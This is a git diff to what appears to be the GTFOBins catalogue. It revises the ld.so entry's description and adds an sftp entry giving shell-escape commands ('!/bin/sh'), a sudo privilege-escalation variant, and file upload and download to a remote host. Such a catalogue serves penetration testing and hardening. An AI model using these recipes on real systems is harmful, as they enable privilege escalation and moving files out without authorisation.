diff --git a/_gtfobins/ld.so.md b/_gtfobins/ld.so.md index 9a7a5fd..2edbb4e 100644 --- a/_gtfobins/ld.so.md +++ b/_gtfobins/ld.so.md @@ -1,5 +1,11 @@ --- -description: Ld.so is the Linux dynamic linker/loader. Its file name and location might change between Linux versions. +description: | + `ld.so` is the Linux dynamic linker/loader, its filename and location might change across distributions. The proper path is can be obtained with: + + ``` + $ strings /proc/self/exe | head -1 + /lib64/ld-linux-x86-64.so.2 + ``` functions: exec-interactive: - code: /lib/ld.so /bin/sh diff --git a/_gtfobins/sftp.md b/_gtfobins/sftp.md new file mode 100644 index 0000000..c2c3179 --- /dev/null +++ b/_gtfobins/sftp.md @@ -0,0 +1,25 @@ +--- +functions: + exec-interactive: + - code: | + HOST=user@10.0.0.1 + sftp $HOST + !/bin/sh + sudo-enabled: + - code: | + HOST=user@10.0.0.1 + sudo sftp $HOST + !/bin/sh + upload: + - description: Send local file to a SSH server. + code: | + RHOST=user@10.0.0.1 + sftp $RHOST + put file_to_send where_to_save + download: + - description: Fetch a remote file from a SSH server. + code: | + RHOST=user@10.0.0.1 + sftp $RHOST + get file_to_get where_to_save +--- diff --git a/_includes/page_title.html b/_includes/page_title.html index df8efdb..fe9faa2 100644 --- a/_includes/page_title.html +++ b/_includes/page_title.html @@ -3,4 +3,8 @@ .. / {% endif %} {{ include.title }} +
diff --git a/_layouts/bin.html b/_layouts/bin.html index 92caa10..ef14d09 100644 --- a/_layouts/bin.html +++ b/_layouts/bin.html @@ -21,6 +21,8 @@ layout: common {{ site.data.functions[function_name].description | markdownify }} +